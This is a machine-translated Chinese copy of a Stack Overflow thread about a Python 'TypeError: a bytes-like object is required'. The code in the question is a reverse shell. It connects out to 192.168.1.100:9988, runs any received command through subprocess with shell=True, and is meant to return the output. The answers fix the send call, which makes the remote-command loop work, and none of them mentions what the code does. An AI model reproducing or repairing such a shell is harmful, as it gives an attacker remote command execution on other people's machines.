首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >获取此错误"TypeError:在s.send(字节)中需要一个类似字节的对象,而不是'type‘。

获取此错误"TypeError:在s.send(字节)中需要一个类似字节的对象,而不是'type‘。
EN

Stack Overflow用户
提问于 2017-02-22 04:48:52
回答 3查看 1.7K关注 0票数 1

尽我所能。有人能告诉我错误的确切范围吗。还试图将其转换为"encode("utf-8)*但什么也没有。

代码语言:javascript
运行
复制
import os
import socket
import subprocess


s = socket.socket()
host = '192.168.1.100'
port = 9988
s.connect((host,port))

while True:
 data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
    os.chdir((data[3:].decode("utf-8")))
if len(data) > 0:
 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,        stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
 output_bytes = cmd.stdout.read() + cmd.stderr.read()
 output_str = str(output_bytes, "utf-8")
 s.send(bytes)
EN

回答 3

Stack Overflow用户

回答已采纳

发布于 2017-02-22 04:57:32

Python2.x:

Socket.send(字符串、标志)将数据发送到套接字。套接字必须连接到远程套接字。可选标志参数的含义与上面的recv()相同。返回发送的字节数。应用程序负责检查所有数据是否已发送;如果仅传输了一些数据,则应用程序需要尝试传递其余数据。有关此概念的进一步信息,请参阅套接字编程方法。

Python3

Socket.send(字节、标志)将数据发送到套接字。套接字必须连接到远程套接字。可选标志参数的含义与上面的recv()相同。返回发送的字节数。应用程序负责检查所有数据是否已发送;如果仅传输了一些数据,则应用程序需要尝试传递其余数据。有关此主题的详细信息,请参阅套接字编程方法。

您用python2和python3标记标记您的问题,但是python2.x和python3中的socket.send()是不同的。在python2中,send()需要字符串类型,但在python3中,它需要类似字节的对象,您可以做的是将str.encode()对象传递给它。

您传递的是bytes,但是它是python内置类型,而不是类似字节的对象。

您可以尝试s.send(output_str.encode()),它将向客户端发送编码的output_str (一旦客户端接收到数据,就必须对其进行解码)。

票数 0
EN

Stack Overflow用户

发布于 2017-02-22 04:54:05

您没有将名称“字节”绑定到任何字符串。因此,内置类型“字节”被传递给s.send函数。

票数 0
EN

Stack Overflow用户

发布于 2017-02-22 05:14:50

你需要发送输出字符串,

代码语言:javascript
运行
复制
s.send(output_str)

因为bytes是python中内置的数据类型。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/42382945

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档